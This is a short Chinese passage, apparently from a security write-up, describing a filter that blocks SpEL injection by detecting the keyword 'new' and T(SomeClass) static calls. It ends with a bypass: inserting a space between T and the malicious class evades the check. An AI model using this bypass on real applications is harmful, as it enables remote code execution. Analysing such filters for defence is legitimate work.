1.倒序扫描表达式字符串,逐字符匹配"new"关键字(使用倒序方式匹配 "wen")。检查匹配到的 "new" 是否为独立关键字,而非标识符的一部分。
2.同时检测类似 T(SomeClass) 的静态方法调用形式。
如果发现上述两种情况之一,则返回 true,表示存在受限操作。
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9TyXeX23U8xNC9yLibCeoWMhsICVjB9ErJ2Jte3GprZPYe7hs7JrsVw1uvPVcX1iaYojeibSAuQnUmxuEwJGnru4Q/640?wx_fmt=png&from=appmsg "")
所以此时需要先查看SpringEL表达式是否从语法方面绕过:支持"T (SomeClass)"这样的语法,因此我们只要在T与恶意Class之间加个空格
END